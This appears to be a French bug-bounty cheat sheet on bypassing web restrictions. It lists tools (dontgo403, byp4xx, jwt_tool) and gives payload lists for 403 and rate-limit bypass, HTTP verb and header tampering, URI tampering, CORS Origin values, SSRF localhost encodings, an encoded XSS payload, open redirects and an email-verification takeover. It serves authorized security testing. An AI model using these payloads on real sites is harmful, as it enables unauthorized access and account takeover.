# Bypass

## Sites:

* <https://insolitum.github.io/character_encoder/>: Ajouter des caractères ASCII random à la chaîne de caractères donnée.

## Dontgo403

Dontgo403 est un outil permettant de tenter de contourner les accès restreints sur les pages web via différentes techniques.

Exemple d'utilisation:

*`$ ./dontgo403 -u https://target.com/private`*

ressource: <https://github.com/devploit/dontgo403>

## Byp4xx

Byp4xx est un outil permettant de tenter de contourner les accès restreints sur les pages web via différentes techniques (verb tampering, headers, custom user agents, tips de bug bounty).

Exemple d'utilisation:

*`$ ./byp4xx.py https://target.com/private`*

ressource: <https://github.com/lobuhi/byp4xx>

## 403-bypass

403-bypass est un outil ayant la même utilité que byp4xx

Exemple d'utilisation:

*`$ python3 403-bypass.py -u https://target.com -p private`*

ressource: <https://github.com/channyein1337/403-bypass>

## ​Bypass-url-parser

Bypass-url-parser est un outil permettant de tenter de contourner les restrictions via manipulation de l'url.

Exemple d'utilisation:

*`$ ./bypass-url-parser.py -u https://target.com/secret`*

ressource: <https://github.com/laluka/bypass-url-parser>

## Recollapse

REcollapse est un outil d'aide au fuzzing des regex en boîte noire pour contourner les validations et découvrir les normalisations dans les applications Web.

Exemple d'utilisation:

*`$ recollapse https://target.com/secret`*

ressource: <https://github.com/0xacb/recollapse>

## hakoriginfinder

Outil pour découvrir l'hôte d'origine derrière un proxy inverse. Utile pour contourner les WAF cloud.

Exemple d'utilisation:

*`$ prips <IP range>/24 | hakoriginfinder -h target.com`*

ressource: <https://github.com/hakluke/hakoriginfinder>

## Jwt\_tool

Jwt\_tool est un outil permettant vérifier, scanner et falsifier des Json Web Token à la recherche de failles connues.

Exemple d'utilisation:

*`$ python3 jwt_tool.py <JWT>`*

ressource: <https://github.com/ticarpi/jwt_tool>

## JSON Web Token Burp Suite extension

Il existe une extension dans burp suite permettant de manipuler les JWT.

ressource: <https://github.com/portswigger/json-web-tokens>

## TIPS

Si un fichier est protégé, essayer de le fuzz avec des extensions de backup.

```
backup
bck
old
save
bak
sav
~
copy
old
orig
tmp
txt
back
```

### Rate limit Bypass

#### Headers Bypass

Juste en dessous du header "Host:", utiliser l'un (ou parfois plusieurs) de ces headers:

1. X-Forwarded-For : IP
2. X-Forwarded-Host : IP
3. X-Client-IP : IP
4. X-Remote-IP : IP
5. X-Remote-Addr : IP
6. X-Host : IP

#### Avec des caractères

1. L'ajout d'un octet nul (%00) à la fin d'un e-mail peut parfois contourner la limite de débit.
2. Essayez d'ajouter un espace après un e-mail. ( Non codé )
3. Quelques caractères communs qui aident à contourner la limite de débit : %0d , %2e , %09 , %20 ...

#### Avec une redirection

Si une page incorrecte redirige vers la page testé, changer le Host Header peu parfois permettre de contourner un rate limit.

### Email verification bypass

* Créer un compte avec un email
* un lien de vérification sera envoyé
* ne pas le suivre et changer l'email par celui d'une victime
* Suivre le lien envoyé par mail
* Si l'email de la victime est vérifié au lieu du votre alors il y a usurpation

### Simple Bypass

Lorsqu'on a plusieurs étapes par exemple comme c'est le cas lors d'un achat en ligne, tenter de passer une étape.

Exemple:

/step/shipping/

~~/step/payment/~~

/step/confirm/

Essayer d'ajouter api devant un nom de domaine.

Exemple:

/target.com/users/     <mark style="color:red;">Forbidden</mark>

/api.target.com/users/     <mark style="color:green;">OK</mark>

Essayer d'ajouter .json à la fin de l'url.

Exemple:

/target.com/users/data    <mark style="color:red;">Forbidden</mark>

/target.com/users/data.json    <mark style="color:green;">OK</mark>

Si vous repérez une API avec une version dans l'url, essayer d'utiliser une version obsolète.

Exemple:

/target.com/v2/users/data     <mark style="color:red;">Forbidden</mark>

/target.com/v1/users/data     <mark style="color:green;">OK</mark>

Si vous avez une API, essayer d'ajouter internal à l'URL.

/target.com/v1/users/data      <mark style="color:red;">Forbidden</mark>

/targer.com/v1/internal/users/data      <mark style="color:green;">OK</mark>

Pour les paramètres en "id:XXX", essayer de mettre l'id dans un tableau.

Exemple:

/target.com/user.php?id=XXX     <mark style="color:red;">Forbidden</mark>

/target.com/user.php?id=\[XXX]     <mark style="color:green;">OK</mark>

Essayer de le passer en tant qu'objet json.

/target.com/user.php?id=XXX     <mark style="color:red;">Forbidden</mark>

/target.com/user.php?{"id"=XXX}    <mark style="color:green;">OK</mark>

Essayer de passer par un id légitime.

/target.com/user.php?id=\<victime>     <mark style="color:red;">Forbidden</mark>

/target.com/user.php?id=\<légitime>\&id=\<victime>     <mark style="color:green;">OK</mark>

Essayer de fuzz le paramètre.

Exemple:

/target.com/user.php?id=FUZZ

#### Verb tampering

Essayer toutes les méthodes HTTP.

```
GET 
COPY
OPTIONS
PUT
TRACE
POST
SEARCH
MOVE
PATCH
ACL
ARBITRARY
BASELIN-CONTROL
CHECKIN
CHECKOUT
CONNECT
HEAD
LABEL
LOCK
MERGE
MKACTIVITY
MKCOL
MKWORKSPACE
ORDERPATCH
PROPFIND
REPORT
UNCHECKOUT
UNLOCK
UPDATE
VERSION-CONTROL
```

### Method override

#### Via header

```
X-Http-Method-Override:
X-HTTP-Method-Override:
X-Http-Method:
X-Http-Method-Override:
X-HTTP-Method-Override:
X-Http-Method:
X-HTTP-Method:
X-Method-Override:
X-HTTP-Method:
X-Method-Override:
```

#### Via parametre

```
_method=
method= 
httpMethod= 
_HttpMethod=
```

#### Header injection

```
Referer:
X-Custom-Ip-Authorization:
X-Original-URL:
X-Rewrite-URL:
X-Originating-IP:
X-Forwarded-For:
X-Remote-IP:
X-Client-IP:
X-Host:
X-Forwarded-Host:
```

Essayer les headers en IP avec les plages suivantes:

* 192.168.0.0/16
* 172.16.0.0/12
* 127.0.0.0/8
* 10.0.0.0/8

#### URI tampering

```
/target.com/private
/target.com/private/
/target.com/private//
/target.com/private/*
/target.com/private./.
/target.com/private/*/
/target.com/private&
/target.com/private#
/target.com/private%
/target.com/private%09
/target.com/private../
/target.com/private..;/
/target.com/private..%2f
/target.com/private../.
/target.com/private..%00/
/target.com/private..%0d
/target.com/private..%5c
/target.com/private..%ff/
/target.com/private%2e%2e%2f
/target.com/private.%2e/
/target.com/private%3f
/target.com/private%26
/target.com/private%23
/target.com/private.json
/target.com/private.xml
/target.com/*private
/target.com/*private/
/target.com./.private
/target.com/%20private/
/target.com/%20private%20/

#nginx
/target.com/admin -> 404
/target.com/#/../../admin -> 200
...
...
```

### ISP bypass

via le service Google translate

<https://evil.com/> <mark style="color:red;">Bloqué</mark>

<https://evil.com.translate.goog/> <mark style="color:green;">Bypass</mark>

### CORS bypass

* `Origin:null`
* `Origin:attacker.com`
* `Origin:attacker.target.com`
* `Origin:attackertarget.com`
* `Origin:sub.attackertarget.com`
* `Origin:attacker.com et changer la méthode HTTP GET => POST / POST => GET`
* `Origin:sub.attacker target.com`
* `Origin:sub.attacker%target.com`
* `Origin:attacker.com/target.com`

### SSRF bypass

Si les IP sont blacklistés, il est possible d'essayer de les bypass de ces façons.

Exemple pour IP 127.0.0.1:

```
http://127.0.1
http://127.1
http://0.0.0.0
http://0.0.0.0::1
http://0.0.0.0::1:25
http://0.0.0.0::1:22
http://0.0.0.0::1:3128
http://0
http://0x7f000001
http://213070433
http://3232235521
http://3232235777
http://2852039166
http://017700000001
http://[::]:80
http://0o177.0.0.1
```

#### Whitelist bypass

exemple: "function url must be function.target.com"

bypass:&#x20;

* <https://localhost@function.target.com>
* <https://localhost#@function.target.com> ("#" pour essayer d'enlever le @function.target.com de la requête)&#x20;
* <https://localhost%2523@function.target.com> (avec le "#" double encodé)

### XSS bypass

Il arrive parfois que des entreprises remédient à des XSS en encodant les sorties utilisateur.

Il est donc important d'essayer vos payloads encodés avec burp suite par exemple.

Exemple:

\<img src=x onerror=prompt(document.domain)>

devient

%3Cimg%20src%3Dx%20onerror%3Dprompt%28document.domain%29%3E

Ou (double encodé)

%253Cimg%2520src%253Dx%2520onerror%253Dprompt%2528document.domain%2529%253E

### Open redirect

* target\[.]com/?redirect=evil\[.]com => <mark style="color:red;">Warning site</mark>
* target\[.]com/?redirect=evil\[.]cOm => <mark style="color:green;">OK</mark>

### Autre

### Accès à la console d'administration

Il existe parfois un paramètre debug dans un endoint pouvant parfois permettre de bypass une restriction d'accès.

Exemple:

* debug=true
* \_debug=true
* debug=1
* \_debug=1

target.com/admin/console => <mark style="color:red;">403 forbidden</mark>

target.com/admin/console?**debug=true** => <mark style="color:green;">200 OK</mark>
